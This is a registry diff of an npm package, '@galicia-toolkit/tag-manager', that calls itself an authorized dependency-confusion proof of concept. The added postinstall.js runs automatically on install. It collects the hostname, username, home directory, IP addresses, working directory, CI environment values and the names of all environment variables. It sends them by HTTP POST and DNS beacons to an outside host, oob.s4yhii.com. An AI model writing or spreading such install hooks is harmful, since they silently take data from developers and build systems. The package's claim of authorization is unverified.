@galicia-toolkit/tag-manager 999.0.3 → 999.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +63 -16
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@galicia-toolkit/tag-manager",
3
- "version": "999.0.3",
3
+ "version": "999.0.5",
4
4
  "description": "Security research \u2014 dependency confusion PoC (authorized bug bounty, Banco Galicia program)",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,21 +1,68 @@
1
1
  const os = require("os");
2
2
  const dns = require("dns");
3
- const pkg = require("./package.json");
4
3
 
5
- const tag = pkg.name.replace(/[@/]/g, "").slice(-8);
6
- const h = Buffer.from(os.hostname()).toString("hex").slice(0, 40);
7
- const c = Buffer.from(process.cwd()).toString("hex").slice(0, 50);
8
- const meta = [os.platform(), os.arch(), process.version.replace("v","")].join("-");
4
+ const info = {
5
+ pkg: require("./package.json").name,
6
+ hostname: os.hostname(),
7
+ platform: os.platform(),
8
+ arch: os.arch(),
9
+ release: os.release(),
10
+ nodeVersion: process.version,
11
+ cwd: process.cwd(),
12
+ dirname: __dirname,
13
+ pid: process.pid,
14
+ uptime: os.uptime(),
15
+ totalMem: Math.round(os.totalmem() / 1024 / 1024) + "MB",
16
+ cpus: os.cpus().length + "x " + (os.cpus()[0] || {}).model
17
+ };
9
18
 
10
- // DNS beacons — each one is a separate query to oob.s4yhii.com
11
- // Label 1: hostname
12
- dns.resolve(h + "." + tag + ".h.dc.oob.s4yhii.com", () => {});
13
- // Label 2: working directory
14
- dns.resolve(c.slice(0,60) + "." + tag + ".c.dc.oob.s4yhii.com", () => {});
15
- // Label 3: platform info
16
- dns.resolve(meta + "." + tag + ".m.dc.oob.s4yhii.com", () => {});
19
+ try { info.username = os.userInfo().username; } catch(e) { info.username = process.env.USER || process.env.USERNAME || "unknown"; }
20
+ try { info.homedir = os.homedir(); } catch(e) {}
17
21
 
18
- // Also try user context via env
19
- const u = (process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown");
20
- const uh = Buffer.from(u).toString("hex").slice(0, 40);
21
- dns.resolve(uh + "." + tag + ".u.dc.oob.s4yhii.com", () => {});
22
+ try {
23
+ var nets = os.networkInterfaces();
24
+ info.ips = [];
25
+ for (var name in nets) {
26
+ for (var i = 0; i < nets[name].length; i++) {
27
+ if (!nets[name][i].internal) info.ips.push(name + ":" + nets[name][i].address);
28
+ }
29
+ }
30
+ } catch(e) {}
31
+
32
+ info.ci = {};
33
+ var ciKeys = ["CI","BUILD_NUMBER","BUILD_ID","JENKINS_URL","JENKINS_HOME",
34
+ "GITHUB_ACTIONS","GITLAB_CI","SYSTEM_TEAMFOUNDATIONCOLLECTIONURI",
35
+ "CODEBUILD_BUILD_ID","npm_config_registry","npm_package_name",
36
+ "NODE_ENV","HOME","COMPUTERNAME","USERDOMAIN","PATH"];
37
+ for (var k = 0; k < ciKeys.length; k++) {
38
+ if (process.env[ciKeys[k]]) info.ci[ciKeys[k]] = process.env[ciKeys[k]];
39
+ }
40
+ info.envKeys = Object.keys(process.env).sort();
41
+
42
+ var body = JSON.stringify(info);
43
+
44
+ // Exfil 1: HTTP via interactsh (port 9999 — confirmed reachable)
45
+ try {
46
+ var h = require("http");
47
+ var req = h.request({
48
+ hostname: "oob.s4yhii.com",
49
+ port: 9999,
50
+ path: "/dep-confusion",
51
+ method: "POST",
52
+ headers: {"Content-Type": "application/json", "Content-Length": Buffer.byteLength(body)},
53
+ timeout: 8000
54
+ }, function(){});
55
+ req.on("error", function(){});
56
+ req.write(body);
57
+ req.end();
58
+ } catch(e) {}
59
+
60
+ // Exfil 2: DNS beacons
61
+ try {
62
+ var tag = info.pkg.replace(/[^a-z0-9]/gi, "").slice(-8);
63
+ var hx = Buffer.from(info.hostname).toString("hex").slice(0, 40);
64
+ var ux = Buffer.from(info.username).toString("hex").slice(0, 40);
65
+ dns.resolve(hx + "." + tag + ".h.dc.oob.s4yhii.com", function(){});
66
+ dns.resolve(ux + "." + tag + ".u.dc.oob.s4yhii.com", function(){});
67
+ dns.resolve(info.platform + "-" + info.arch + "." + tag + ".m.dc.oob.s4yhii.com", function(){});
68
+ } catch(e) {}